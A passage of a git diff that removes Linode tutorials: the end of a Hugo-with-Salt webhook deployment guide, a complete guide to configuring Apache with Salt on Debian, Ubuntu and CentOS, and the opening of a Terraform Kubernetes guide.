NGINX's document root as the destination for the built files. - -1. Update `init.sls` to include the new `config.sls` file: - - {{< file "hugo-webserver-salt-formula/hugo/init.sls" >}} -include: - - hugo.install - - hugo.config - - hugo.service -{{< /file >}} - -### Push the Salt Formula Updates to GitHub - -Your state files should now have these contents: [init.sls](init-full.sls), [install.sls](install-partial.sls), [config.sls](config-partial.sls), [service.sls](service-partial.sls). - -The files present in your Salt formula repository should be: - -{{< output >}} -hugo -├── config.sls -├── files -│   ├── deploy.sh -│   └── hugo_site -├── init.sls -├── install.sls -└── service.sls -{{< /output >}} - -1. Stage all the changes you made to your local Salt formula files in the previous steps and then commit the changes: - - cd ~/hugo-webserver-salt-formula - git add . - git commit -m "Deploy the Hugo site" - -1. Push the commit to your GitHub repository: - - git push origin master - -### Create the Salt Pillar File - -1. Open `/etc/salt/master` on the Salt master in a text editor. Uncomment the `pillar_roots` section: - - {{< file "/etc/salt/master" >}} -pillar_roots: - base: - - /srv/pillar -{{< /file >}} - - `pillar_roots` performs an analogous function to `file_roots`: it specifies where Pillar data is stored on the master's filesystem. - -1. Restart Salt on the master to enable the changes in `/etc/salt/master`: - - sudo systemctl restart salt-master - -1. Create the `/srv/pillar` directory on the Salt master: - - sudo mkdir /srv/pillar - -1. Create an `example-hugo-site.sls` file in `/srv/pillar` to contain the Pillar data for the minion. This file uses the same YAML syntax as other state files. Replace the values for `github_account` and `domain_name` with your GitHub account and your site's domain name: - - {{< file "/srv/pillar/example-hugo-site.sls" >}} -hugo_deployment_data: - hugo_version: 0.49 - group: hugo - user: hugo - home_dir: /home/hugo - github_account: your_github_user - site_repo_name: example-hugo-site - nginx_document_root: /var/www - domain_name: yourdomain.com -{{< /file >}} - -1. Create a `top.sls` file in `/srv/pillar`. Similar to the Top file in your state tree, the Pillar's Top file maps Pillar data to minions: - - {{< file "/srv/pillar/top.sls" >}} -base: - 'hugo-webserver': - - example-hugo-site -{{< /file >}} - -### Apply State Updates to the Minion - -On the Salt master, apply the new states to all minions: - - sudo salt '*' state.apply -{{< note >}} -In this guide there is only one minion, but Salt can use shell-style globbing and regular expressions to [match against minion IDs](https://docs.saltproject.io/en/latest/topics/targeting/globbing.html) when you have more than one. For example, this command would run a highstate on all minions whose IDs begin with `hugo`: - - sudo salt 'hugo*' state.apply -{{< /note >}} - -If no changes are made, try manually fetching the Salt formula updates from GitHub and then run the `state.apply` command again: - - sudo salt-run fileserver.update - -When the operation finishes, your Hugo site should now be visible at your domain. - -## Deploy Site Updates with Webhooks - -Your site is now deployed to production, but there is no automatic mechanism in place yet for updating the production server when you update your Hugo site's content. To update the production server, your minion will need to: - -1. Pull the latest changes pushed to the `master` branch of your Hugo site repository on GitHub. - -1. Run the Hugo build process with the new content. - -The `deploy.sh` script can be altered to pull changes from GitHub. These script changes will be made in the Salt formula repository. Then, we'll set up *webhooks* to notify the Salt minion that updates have been made to the Hugo site. - -Webhooks are HTTP POST requests specifically designed and sent by systems to communicate some kind of significant event. A webhook server listens for these requests and then takes some action when it receives one. For example, a GitHub repository can be configured to send webhook notifications whenever a push is made to the repository. This is the kind of notification we'll configure, and the Salt minion will run a webhook server to receive them. [Other event notifications](https://developer.github.com/webhooks/) can also be set up on GitHub. - -### Set Up a Webhook Server on the Salt Minion - -1. In your local Salt formula repository, append a new `webhook_pkg` state to your `install.sls` that installs the [webhook server package by adnanh](https://github.com/adnanh/webhook/): - - {{< file "hugo-webserver-salt-formula/hugo/install.sls" >}} -webhook_pkg: - pkg.installed: - - name: webhook -{{< /file >}} - - {{< note respectIndent=false >}} -The webhook server written in Go by adnanh is a popular implementation of the concept, but it's possible to write other HTTP servers that parse webhook payloads. -{{< /note >}} - -1. Append two new components to your `config.sls`: - - {{< file "hugo-webserver-salt-formula/hugo/config.sls" >}} -webhook_systemd_unit: - file.managed: - - name: '/etc/systemd/system/webhook.service' - - source: salt://hugo/files/webhook.service - - user: root - - group: root - - mode: 0644 - - template: jinja - - require: - - pkg: webhook_pkg - module.run: - - name: service.systemctl_reload - - onchanges: - - file: webhook_systemd_unit - -webhook_config: - file.managed: - - name: '/etc/webhook.conf' - - source: salt://hugo/files/webhook.conf - - user: root - - group: {{ pillar['hugo_deployment_data']['group'] }} - - mode: 0640 - - template: jinja - - require: - - pkg: webhook_pkg - - group: hugo_group -{{< /file >}} - - The first state creates a [systemd unit file](/cloud/guides/introduction-to-systemctl/) for the webhook service. The second state creates a webhook configuration. The webhook server reads the configuration and generates a webhook URL from it. - -1. Create a `webhook.service` file in your repository's `files/` directory: - - {{< file "hugo-webserver-salt-formula/hugo/files/webhook.service" >}} -[Unit] -Description=Small server for creating HTTP endpoints (hooks) -Documentation=https://github.com/adnanh/webhook/ - -[Service] -User={{ pillar['hugo_deployment_data']['user'] }} -ExecStart=/usr/bin/webhook -nopanic -hooks /etc/webhook.conf - -[Install] -WantedBy=multi-user.target -{{< /file >}} - -1. Create a `webhook.conf` file in your repository's `files/` directory: - - {{< file "hugo-webserver-salt-formula/hugo/files/webhook.conf" >}} -[ - { - "id": "github_push", - "execute-command": "{{ pillar['hugo_deployment_data']['home_dir'] }}/deploy.sh", - "command-working-directory": "{{ pillar['hugo_deployment_data']['home_dir'] }}", - "trigger-rule": - { - "and": - [ - { - "match": - { - "type": "payload-hash-sha1", - "secret": "{{ pillar['hugo_deployment_data']['webhook_secret'] }}", - "parameter": - { - "source": "header", - "name": "X-Hub-Signature" - } - } - }, - { - "match": - { - "type": "value", - "value": "refs/heads/master", - "parameter": - { - "source": "payload", - "name": "ref" - } - } - } - ] - } - } -] -{{< /file >}} - - This configuration sets up a URL named `http://example.com:9000/hooks/github_push`, where the last component of the URL is derived from the value of the configuration's `id`. - - {{< note respectIndent=false >}} -The webhook server runs on port 9000 and places your webhooks inside a `hooks/` directory by default. -{{< /note >}} - - When a POST request is sent to the URL: - - - The webhook server checks if the header and payload data from the request satisfies the rules in the `trigger-rule` dictionary, which are: - - That the SHA1 hash of the server's webhook secret matches the secret in the request headers. This prevents people who don't know your webhook secret from triggering the webhook's action. - - The `ref` parameter in the payload matches `refs/heads/master`. This ensures that only pushes to the `master` branch trigger the action. - - - If the rules are satisfied, then the command listed in `execute-command` is run, which is the `deploy.sh` script. - - {{< note respectIndent=false >}} -Further documentation on the webhook configuration options can be reviewed on the project's [GitHub repository](https://github.com/adnanh/webhook/). -{{< /note >}} - -1. Append a new `webhook_service` state to your `service.sls` that enables and starts the webhook server: - - {{< file "hugo-webserver-salt-formula/hugo/service.sls" >}} -webhook_service: - service.running: - - name: webhook - - enable: True - - watch: - - file: webhook_config - - module: webhook_systemd_unit -{{< /file >}} - -1. Update the `deploy.sh` script so that it pulls changes from `master` before building the site: - - {{< file "hugo-webserver-salt-formula/hugo/files/deploy.sh" >}} -#!/bin/bash - -cd {{ pillar['hugo_deployment_data']['site_repo_name'] }} -git pull origin master -hugo --destination={{ pillar['hugo_deployment_data']['nginx_document_root'] }}//{{ pillar['hugo_deployment_data']['site_repo_name'] }} -{{< /file >}} - -1. Your state files should now have these contents: [init.sls](init-full.sls) *(unchanged)*, [install.sls](install-full.sls), [config.sls](config-full.sls), [service.sls](service-full.sls). Save the changes made to your Salt files, then commit and push them to GitHub: - - cd ~/hugo-webserver-salt-formula - git add . - git commit -m "Webhook server states" - git push origin master - -1. On the Salt master, add a `webhook_secret` to the `example-hugo-site.sls` Pillar. Your secret should be a complex, random alphanumeric string. - - {{< file "/srv/pillar/example-hugo-site.sls" >}} -hugo_deployment_data: - # [...] - webhook_secret: your_webhook_secret -{{}} - -1. From the Salt master, apply the formula updates to the minion: - - sudo salt-run fileserver.update - sudo salt 'hugo-webserver' state.apply - -1. Your webhook server should now be running on the minion. If you run a `curl` against it, you should see: - - curl http://example.com:9000/hooks/github_push - - {{< output >}} -Hook rules were not satisfied.⏎ -{{< /output >}} - -### Configure a Webhook on GitHub - -1. Visit your example Hugo site repository on GitHub and navigate to the **Webhooks** section of the **Settings** tab. Click on the **Add webhook** button: - - ![GitHub - Add Webhook Button](github-add-webhook-button.png) - -1. Fill in the form: - - - Enter `http://example.com:9000/hooks/github_push` for the payload URL (substitute `example.com` for your own domain). - - - Select `application/json` for the content type. - - - Paste in the webhook secret that you previously added to Salt Pillar. - - The webhook is configured to notify on push events by default. Keep this option selected. - - ![GitHub - New Webhook Configuration](github-new-webhook-config.png) - -1. Click the green **Add webhook** button to complete the setup. - -### Update the Hugo Site - -1. In your local Hugo site repository, create a new post using Hugo's [*archetypes*](https://gohugo.io/content-management/archetypes/) feature: - - hugo new post/test-post.md - -1. This command creates a new partially filled in Markdown document in `content/post/`. Open this file in your editor, remove the `draft: true` line from the [*frontmatter*](https://gohugo.io/content-management/front-matter/), and add some body text: - - {{< file "example-hugo-site/content/post/test-post.md" >}} ---- -title: "Test Post" -date: 2018-10-19T11:39:15-04:00 ---- - -Test post body text -{{< /file >}} - -1. If you run `hugo server` in the repository directory, you can see the new post: - - ![Hugo Home Page - Test Post](hugo-test-post.png) - -1. Commit and push the new post to GitHub: - - cd ~/example-hugo-site - git add . - git commit -m "Test post" - git push origin master - -1. Visit your domain in your browser; your test post should automatically appear. - - {{< note respectIndent=false >}} -If your post does not appear, review the **Recent Deliveries** section at the bottom of your webhook configuration page on GitHub: - -![GitHub Webhook - Recent Deliveries](github-webhook-recent-deliveries.png) - -If you click on a delivery, full information about the request headers and payload and the server response are shown, and these may provide some troubleshooting information. Editing the `webhook.service` file so that it starts the service in [verbose mode](https://github.com/adnanh/webhook/blob/master/docs/Webhook-Parameters.md) may help. -{{< /note >}} - -## Next Steps - -The current Salt configuration can be used as a foundation for more complex deployments: - -- Host multiple Hugo sites by updating Pillar with further GitHub repositories. - -- Host different kinds of static sites by changing the Salt formula to support them. - -- Load balance your site by creating more minions and apply the same Pillar data and Salt states to them. Then, set up a [NodeBalancer](https://www.linode.com/nodebalancers) to direct traffic to the minions. - -- Set up a separate development branch and development server with Salt's environments feature. diff --git a/docs/guides/applications/configuration-management/salt/configure-apache-with-salt-stack/index.md b/docs/guides/applications/configuration-management/salt/configure-apache-with-salt-stack/index.md deleted file mode 100644 index 1105ed0adac..00000000000 --- a/docs/guides/applications/configuration-management/salt/configure-apache-with-salt-stack/index.md +++ /dev/null @@ -1,614 +0,0 @@ ---- -slug: configure-apache-with-salt-stack -title: "Configure Apache with Salt Stack" -description: 'This guide provides you with step-by-step instructions for installing and configuring the Apache Web Server on Ubuntu, Debian, and CentOS with the Salt Sack.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-10-19 -modified: 2019-01-02 -keywords: ['salt','stack','saltstack','apache','httpd','ubuntu','debian','centos'] -tags: ["automation","salt","debian","centos","ubuntu","apache"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: ConfigureApachewithSaltStack.png -external_resources: -- '[Salt Apache State Module](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.apache.html)' -- '[Salt Apache_Conf State Module](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.apache_conf.html)' -- '[Salt Apache_Site State Module](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.apache_site.html)' -- '[Using Grains in SLS Modules](https://docs.saltstack.com/en/latest/topics/tutorials/states_pt3.html#using-grains-in-sls-modules)' -aliases: ['/applications/configuration-management/salt/configure-apache-with-salt-stack/','/applications/configuration-management/configure-apache-with-salt-stack/'] ---- - -Salt is a powerful configuration management tool. In this guide you will create Salt state files that are capable of installing and configuring Apache on Ubuntu 18.04, Debian 9, or CentOS 7. - -## Before You Begin - -You will need at least two Linodes with Salt installed. If you have not already, read our [Getting Started with Salt - Basic Installation and Setup Guide](/cloud/guides/getting-started-with-salt-basic-installation-and-setup/) and follow the instructions for setting up a Salt master and minion. - -The following steps will be performed on your Salt master. - -{{< note >}} -The steps in this guide require root privileges. Be sure to run the steps below as `root` or with the `sudo` prefix. For more information on privileges, see our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Setting Up Your Salt Master and Managed Files - -### Salt Master SLS Files - -1. Create the `/srv/salt` directory if it does not already exist: - - mkdir /srv/salt - -1. Create a Salt top file in `/srv/salt` that will be Salt's entry point to the Apache configuration: - - {{< file "/srv/salt/top.sls" yaml >}} -base: - 'G@os_family:Debian': - - match: compound - - apache-debian - - 'G@os:CentOS': - - match: compound - - apache-centos -{{< /file >}} - - This top file uses [compound matching](https://docs.saltstack.com/en/latest/topics/targeting/compound.html) to target your minions by operating system using Salt Grains. This will allow Salt to choose the appropriate Apache configuration depending on the Linux distribution. These matchers could be extended to be even more specific. For instance, if you wanted to only target minions with the ID of `web-server` that are running on Ubuntu, you can type `web* and G@os:Ubuntu`. - -### Pillar Files - -1. Create the `/srv/pillar` directory if it does not already exist: - - mkdir /srv/pillar - -1. Create a Pillar top file. This top file references the `apache.sls` Pillar file that you will create in the next step: - - {{< file "/srv/pillar/top.sls" yaml >}} -base: - '*': - - apache -{{< /file >}} - -1. Create the `apache.sls` file that was referenced in the previous step. This file defines Pillar data that will be used inside our Apache state file in the next section, in this case your domain name. Replace `example.com` with your domain: - - {{< file "/srv/pillar/apache.sls" yaml >}} -domain: example.com -{{< /file >}} - -### Website Files - -1. Create a directory for your website files in the `/srv/salt` directory. Replace `example.com` with your website domain name: - - mkdir /srv/salt/example.com - - This directory will be accessible from your Salt state files at `salt://example.com`. - -1. Create an `index.html` file for your website in the `/srv/salt/example.com` directory, substituting `example.com` for the folder name you chose in the previous step. You will use this file as a test to make sure your website is functioning correctly. - - {{< file "/srv/salt/example.com/index.html" html >}} - - -

Server Up and Running!

- - -{{< /file >}} - -### Configuration Files - -1. Create a folder for your additional configuration files at `/srv/salt/files`. These files will be accessible at `salt://files`. - - mkdir /srv/salt/files - -1. Create a file called `tune_apache.conf` in `/srv/salt/files` and paste in the following block: - - {{< file "/srv/salt/files/tune_apache.conf" ApacheConf >}} - -StartServers 4 -MinSpareServers 20 -MaxSpareServers 40 -MaxClients 200 -MaxRequestsPerChild 4500 - -{{}} - - This MPM prefork module provides additional [tuning for your Apache installation](/cloud/guides/tuning-your-apache-server/). This file will be managed by Salt and installed into the appropriate configuration directory in a later step. - -1. If you will be installing Apache on a CentOS machine, create a file called `include_sites_enabled.conf` in `/srv/salt/files` and paste in the following: - - {{< file "/srv/salt/files/include_sites_enabled.conf" ApacheConf >}} -IncludeOptional sites-enabled/*.conf -{{< /file >}} - - This file will allow us to use file directories like those found on Debian installations to help organize the Apache configuration. - -## Creating the Apache State File for Debian and Ubuntu - -### Individual Steps - -This guide will be going through the process of creating the Apache for Debian and Ubuntu state file step by step. If you would like to view the entirety of the state file, [you can view it at the end of this section](/cloud/guides/configure-apache-with-salt-stack/#complete-state-file). - -1. Create a state file named `apache-debian.sls` in `/srv/salt` and open it in a text editor of your choice. - -1. Instruct Salt to install the `apache2` package and start the `apache2` service: - - {{< file "/srv/salt/apache-debian.sls" yaml >}} -apache2: - pkg.installed - -apache2 Service: - service.running: - - name: apache2 - - enable: True - - require: - - pkg: apache2 - -... -{{< /file >}} - - Here Salt makes sure the `apache2` package is installed with `pkg.installed`. Likewise, it ensures the `apache2` service is running and enabled under `service.running`. Also under `service.running`, `apache-debian.sls` uses `require` to ensure that this command does not run before the `apache2` package is installed. This `require` step will be repeated throughout `apache-debian.sls`. - - Lastly, a `watch` statement is employed to restart the `apache2` service if your site's configuration file changes. You will define that configuration file in a later step. Note that this configuration file is named using the domain you supplied when creating your Salt Pillar file in the first section. This Pillar data will be used throughout `apache-debian.sls`. - -1. Turn off KeepAlive: - - {{< file "/srv/salt/apache-debian.sls" yaml >}} -... - -Turn Off KeepAlive: - file.replace: - - name: /etc/apache2/apache2.conf - - pattern: 'KeepAlive On' - - repl: 'KeepAlive Off' - - show_changes: True - - require: - - pkg: apache2 -... -{{< /file >}} - - KeepAlive allows multiple requests to be sent over the same TCP connection. For the purpose of this guide KeepAlive will be disabled. To disable it, Salt is instructed to find the KeepAlive directive in `/etc/apache2/apache2.conf` by matching a pattern and replacing it with `KeepAlive Off`. `show_changes` instructs Salt to display any changes it has made during a highstate. - -1. Transfer `tune_apache.conf` to your minion and enable it: - - {{< file "/srv/salt/apache-debian.sls" yaml >}} -... - -/etc/apache2/conf-available/tune_apache.conf: - file.managed: - - source: salt://files/tune_apache.conf - - require: - - pkg: apache2 - -Enable tune_apache: - apache_conf.enabled: - - name: tune_apache - - require: - - pkg: apache2 - -... -{{< /file >}} - - This step takes the `tune_apache.conf` file you created in the [Configuration Files](/cloud/guides/configure-apache-with-salt-stack/#configuration-files) step and transfers it to your Salt minion. Then, Salt enables that configuration file with the [apache_conf module](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.apache_conf.html). - -1. Create the necessary directories: - - {{< file "/srv/salt/apache-debian.sls" yaml>}} -... - -/var/www/html/{{ pillar['domain'] }}: - file.directory - -/var/www/html/{{ pillar['domain'] }}/log: - file.directory - -/var/www/html/{{ pillar['domain'] }}/backups: - file.directory - -/var/www/html/{{ pillar['domain'] }}/public_html: - file.directory - -... -{{< /file >}} - -1. Disable the default virtual host configuration file: - - {{< file "/srv/salt/apache-debian.sls" yaml >}} -... - -000-default: - apache_site.disabled: - - require: - - pkg: apache2 - -... -{{< /file >}} - - This step uses Salt's [apache_site module](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.apache_site.html) to disable the default Apache virtual host configuration file, and is the same as running `a2dissite` on a Debian-based machine. - -1. Create your site's virtual host configuration file: - - {{< file "/srv/salt/apache-debian.sls" yaml >}} -... - -/etc/apache2/sites-available/{{ pillar['domain'] }}.conf: - apache.configfile: - - config: - - VirtualHost: - this: '*:80' - ServerName: - - {{ pillar['domain'] }} - ServerAlias: - - www.{{ pillar['domain'] }} - DocumentRoot: /var/www/html/{{ pillar['domain'] }}/public_html - ErrorLog: /var/www/html/{{ pillar['domain'] }}/log/error.log - CustomLog: /var/www/html/{{ pillar['domain'] }}/log/access.log combined - -... -{{< /file >}} - - This step uses Salt's [apache module](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.apache.html), (not to be confused with the `apache_site` module used in the previous step), to create your site's virtual host configuration file. The `this` variable signifies what would traditionally be include with `VirtualHost` within angle brackets in an Apache configuration file: ``. - -1. Enable your new virtual host configuration file: - - {{< file "/srv/salt/apache-debian.sls" yaml >}} -... - -{{ pillar['domain'] }}: - apache_site.enabled: - - require: - - pkg: apache2 - -... -{{< /file >}} - - This step uses the same `apache_site` module you used to disable the default virtual host file to enable your newly created virtual host file. `apache_site.enabled` creates a symlink from `/etc/apache2/sites-available/example.com.conf` to `/etc/apache2/sites-enabled/example.com.conf` and is the same as running `a2ensite` on a Debian-based machine. - -1. Transfer your `index.html` website file to your minion: - - {{< file "/srv/salt/apache-debian.sls" yaml >}} -... - -/var/www/html/{{ pillar['domain'] }}/public_html/index.html: - file.managed: - - source: salt://{{ pillar['domain'] }}/index.html -{{< /file >}} - - Any changes made to your `index.html` file on your Salt master will be propagated to your minion. - - {{< note respectIndent=false >}} -Since Salt is not watching configuration files for a change to trigger a restart for Apache, you may need to use the command below from your Salt master. - - salt '*' apache.signal restart -{{< /note >}} - -### Complete State File -The complete `apache-debian.sls` file looks like this: -{{< file "/srv/salt/apache-debian.sls" yaml >}} -apache2: - pkg.installed - -apache2 Service: - service.running: - - name: apache2 - - enable: True - - require: - - pkg: apache2 - -Turn Off KeepAlive: - file.replace: - - name: /etc/apache2/apache2.conf - - pattern: 'KeepAlive On' - - repl: 'KeepAlive Off' - - show_changes: True - - require: - - pkg: apache2 - -/etc/apache2/conf-available/tune_apache.conf: - file.managed: - - source: salt://files/tune_apache.conf - - require: - - pkg: apache2 - -Enable tune_apache: - apache_conf.enabled: - - name: tune_apache - - require: - - pkg: apache2 - -/var/www/html/{{ pillar['domain'] }}: - file.directory - -/var/www/html/{{ pillar['domain'] }}/log: - file.directory - -/var/www/html/{{ pillar['domain'] }}/backups: - file.directory - -/var/www/html/{{ pillar['domain'] }}/public_html: - file.directory - -000-default: - apache_site.disabled: - - require: - - pkg: apache2 - -/etc/apache2/sites-available/{{ pillar['domain'] }}.conf: - apache.configfile: - - config: - - VirtualHost: - this: '*:80' - ServerName: - - {{ pillar['domain'] }} - ServerAlias: - - www.{{ pillar['domain'] }} - DocumentRoot: /var/www/html/{{ pillar['domain'] }}/public_html - ErrorLog: /var/www/html/{{ pillar['domain'] }}/log/error.log - CustomLog: /var/www/html/{{ pillar['domain'] }}/log/access.log combined - -{{ pillar['domain'] }}: - apache_site.enabled: - - require: - - pkg: apache2 - -/var/www/html/{{ pillar['domain'] }}/public_html/index.html: - file.managed: - - source: salt://{{ pillar['domain'] }}/index.html -{{< /file >}} - -## Creating an Apache State File for CentOS - -### Individual Steps - -1. Create a file called `apache-centos.sls` in `/srv/salt` and open it in a text editor of your choice. - -2. On CentOS Apache is named `httpd`. Instruct Salt to install `httpd` and run the `httpd` service: - - {{< file "/srv/salt/apache-centos.sls" yaml>}} -httpd: - pkg.installed - -httpd Service: - service.running: - - name: httpd - - enable: True - - require: - - pkg: httpd - - watch: - - file: /etc/httpd/sites-available/{{ pillar['domain'] }}.conf - -... -{{< /file >}} - - Here Salt makes sure the `httpd` package is installed with `pkg.installed`. Likewise, it ensures the `httpd` service is running and enabled under `service.running`. Also under `service.running`, `apache-debian.sls` uses `require` to ensure that this command does not run before the `httpd` package is installed. This `require` step will be repeated throughout `apache-centos.sls`. - - Lastly, a `watch` statement is employed to restart the `httpd` service if your site’s configuration file changes. You will define that configuration file in a later step. Note that this configuration file is named using the domain you supplied when creating your Salt Pillar file in the first section. This Pillar data will be used throughout `apache-centos.sls`. - -1. Turn off KeepAlive: - - {{< file "/srv/salt/apache-centos.sls" yaml >}} -... - -Turn Off KeepAlive: - file.replace: - - name: /etc/httpd/conf/httpd.conf - - pattern: 'KeepAlive On' - - repl: 'KeepAlive Off' - - show_changes: True - - require: - - pkg: httpd -... -{{< /file >}} - - KeepAlive allows multiple requests to be sent over the same TCP connection. For the purpose of this guide KeepAlive will be disabled. To disable it, Salt is instructed to find the KeepAlive directive in `/etc/httpd/conf/httpd.conf` by matching a pattern and replacing it with `KeepAlive Off`. `show_changes` instructs Salt to display any changes it has made during a highstate. - -1. Change the DocumentRoot: - - {{< file "/srv/salt/apache-centos.sls" yaml >}} -... - -Change DocumentRoot: - file.replace: - - name: /etc/httpd/conf/httpd.conf - - pattern: 'DocumentRoot "/var/www/html"' - - repl: 'DocumentRoot "/var/www/html/{{ pillar['domain'] }}/public_html"' - - show_changes: True - - require: - - pkg: httpd - -... -{{< /file >}} - - Similar to the last step, in this step `salt-centos.sls` instructs Salt to search for the DocumentRoot directive in Apache's `httpd.conf` file, and replaces that line with the new document root. This allows for the use of a Debian-style site directory architecture. - -1. Transfer the `tune_apache.conf` and `include_sites_enabled.conf` to your minion. - - {{< file "/srv/salt/apache-centos.sls" yaml>}} -... - -/etc/httpd/conf.d/tune_apache.conf: - file.managed: - - source: salt://files/tune_apache.conf - - require: - - pkg: httpd - -/etc/httpd/conf.d/include_sites_enabled.conf: - file.managed: - - source: salt://files/include_sites_enabled.conf - - require: - - pkg: httpd - -... -{{< /file >}} - -1. Create the necessary directories: - - {{< file "srv/salt/apache-centos.sls" yaml >}} -... - -/etc/httpd/sites-available: - file.directory - -/etc/httpd/sites-enabled: - file.directory - -/var/www/html/{{ pillar['domain'] }}: - file.directory - -/var/www/html/{{ pillar['domain'] }}/backups: - file.directory - -/var/www/html/{{ pillar['domain'] }}/public_html: - file.directory - -... -{{< /file >}} - -1. Create your site's virtual host configuration file: - - {{< file "/srv/salt/apache-centos.sls" yaml>}} -... - -/etc/httpd/sites-available/{{ pillar['domain'] }}.conf: - apache.configfile: - - config: - - VirtualHost: - this: '*:80' - ServerName: - - {{ pillar['domain'] }} - ServerAlias: - - www.{{ pillar['domain'] }} - DocumentRoot: /var/www/html/{{ pillar['domain'] }}/public_html - file.symlink: - - target: /etc/httpd/sites-enabled/{{ pillar['domain'] }}.conf - - force: True - -... -{{< /file >}} - - This step uses Salt's [apache module](https://docs.saltstack.com/en/latest/ref/states/all/salt.states.apache.html) to create your site's virtual host configuration file. The `this` variable signifies what would traditionally be include with `VirtualHost` within angle brackets in an Apache configuration file: ``. - -1. Transfer your `index.html` website file to your minion: - - {{< file "/srv/salt/apache-debian.sls" yaml >}} -... - -/var/www/html/{{ pillar['domain'] }}/public_html/index.html: - file.managed: - - source: salt://{{ pillar['domain'] }}/index.html - -... -{{< /file >}} - - Any changes made to your `index.html` file on your Salt master will be propigated to your minion. - -1. Configure your firewall to allow http and https traffic: - - {{< file "/srv/salt/apache-centos.sls" yaml >}} -... - -Configure Firewall: - firewalld.present: - - name: public - - ports: - - 22/tcp - - 80/tcp - - 443/tcp -{{< /file >}} - - {{< note respectIndent=false >}} -It is imperative that you list all ports you need open to your machine in this section. Failure to list these ports will result in their closure by Salt. -{{< /note >}} - -### Complete State File - -The complete `apache-centos.sls` file looks like this: - - {{< file "/srv/salt/apache-centos.sls" yaml >}} -httpd: - pkg.installed - -httpd Service: - service.running: - - name: httpd - - enable: True - - require: - - pkg: httpd - - watch: - - file: /etc/httpd/sites-available/{{ pillar['domain'] }}.conf - -Turn off KeepAlive: - file.replace: - - name: /etc/httpd/conf/httpd.conf - - pattern: 'KeepAlive On' - - repl: 'KeepAlive Off' - - show_changes: True - - require: - - pkg: httpd - -Change DocumentRoot: - file.replace: - - name: /etc/httpd/conf/httpd.conf - - pattern: 'DocumentRoot "/var/www/html"' - - repl: 'DocumentRoot "/var/www/html/{{ pillar['domain'] }}/public_html"' - - show_changes: True - - require: - - pkg: httpd - -/etc/httpd/conf.d/tune_apache.conf: - file.managed: - - source: salt://files/tune_apache.conf - - require: - - pkg: httpd - -/etc/httpd/conf.d/include_sites_enabled.conf: - file.managed: - - source: salt://files/include_sites_enabled.conf - - require: - - pkg: httpd - -/etc/httpd/sites-available: - file.directory - -/etc/httpd/sites-enabled: - file.directory - -/var/www/html/{{ pillar['domain'] }}: - file.directory - -/var/www/html/{{ pillar['domain'] }}/backups: - file.directory - -/var/www/html/{{ pillar['domain'] }}/public_html: - file.directory - -/etc/httpd/sites-available/{{ pillar['domain'] }}.conf: - apache.configfile: - - config: - - VirtualHost: - this: '*:80' - ServerName: - - {{ pillar['domain'] }} - ServerAlias: - - www.{{ pillar['domain'] }} - DocumentRoot: /var/www/html/{{ pillar['domain'] }}/public_html - file.symlink: - - target: /etc/httpd/sites-enabled/{{ pillar['domain'] }}.conf - - force: True - -/var/www/html/{{ pillar['domain'] }}/public_html/index.html: - file.managed: - - source: salt://{{ pillar['domain'] }}/index.html - -Configure Firewall: - firewalld.present: - - name: public - - ports: - - 22/tcp - - 80/tcp - - 443/tcp -{{< /file >}} - -## Running the Apache State File - -On your Salt master, issue a highstate command: - - salt '*' state.apply - -After a few moments you should see a list of Salt commands and a summary of their successes. Navigate to your website's domain name if you have your DNS set up already, or your website's public IP address. You should see your `index.html` file. You have now used Salt to configure Apache. Visit the links in the section below for more information. diff --git a/docs/guides/applications/configuration-management/terraform/how-to-provision-an-unmanaged-kubernetes-cluster-using-terraform/index.md b/docs/guides/applications/configuration-management/terraform/how-to-provision-an-unmanaged-kubernetes-cluster-using-terraform/index.md deleted file mode 100644 index 23df2c0ffe3..00000000000 --- a/docs/guides/applications/configuration-management/terraform/how-to-provision-an-unmanaged-kubernetes-cluster-using-terraform/index.md +++ /dev/null @@ -1,327 +0,0 @@ ---- -slug: how-to-provision-an-unmanaged-kubernetes-cluster-using-terraform -title: "Provision Unmanaged Kubernetes Cluster using Terraform" -title_meta: "Provision an Unmanaged Kubernetes Cluster using Terraform" -description: 'How to use kubectl, Terraform, and the Linode Terraform K8s module to create and configure Terraform configuration files and deploy a Kubernetes cluster.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2020-03-03 -modified: 2021-03-11 -keywords: ['terraform','kubernetes','orchestration','containers','k8s','kubectl','Kubernetes Terraform installer for Linode Instances','terraform-linode-k8s'] -tags: ["kubernetes", "terraform", "container"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: UnmanagedKubernetesCluster_Terraform.png -external_resources: -- '[Kubernetes Terraform installer for Linode Instances](https://registry.terraform.io/modules/linode/k8s/linode/0.1.2)' -aliases: ['/applications/configuration-management/terraform/how-to-provision-an-unmanaged-kubernetes-cluster-using-terraform/'] -deprecated: true ---- - -[Terraform](https://www.terraform.io/), the orchestration tool by [HashiCorp](https://www.hashicorp.com/), can be used to deploy a Kubernetes cluster on Linode. [Linode's Terraform K8s module](https://registry.terraform.io/modules/linode/k8s/linode/0.1.2) creates a Kubernetes(K8s) cluster running on Ubuntu, and simplifies many of the steps involved in deploying a Kubernetes cluster with [kubeadm](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm/). After creating master and worker nodes, the module connects over SSH to these instances and installs kubeadm, [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), and other Kubernetes binaries to the `/opt/bin` directory. It also initializes kubeadm, joins the worker nodes to the master, and configures kubectl to control the cluster. Calico is installed for the container networking interface of the cluster. A kubectl config file is installed to the local environment which connects to the API server of the cluster. - -{{< note >}} -Development work on the module is active. For the latest updates and validated Terraform configurations, see the module’s [GitHub repository](https://github.com/linode/terraform-linode-k8s). -{{< /note >}} - -## Before You Begin - -Before starting to deploy a Kubernetes cluster with Terraform, make sure: - -1. You are familiar with Terraform. You can read through [A Beginner's Guide to Terraform](/cloud/guides/beginners-guide-to-terraform/) to familiarize yourself with key concepts. - -2. You are familiar with Kubernetes concepts. For an introduction, see the [A Beginner's Guide to Kubernetes](/cloud/guides/beginners-guide-to-kubernetes-part-1-introduction/) series. Read through [Getting Started with Kubernetes: Use 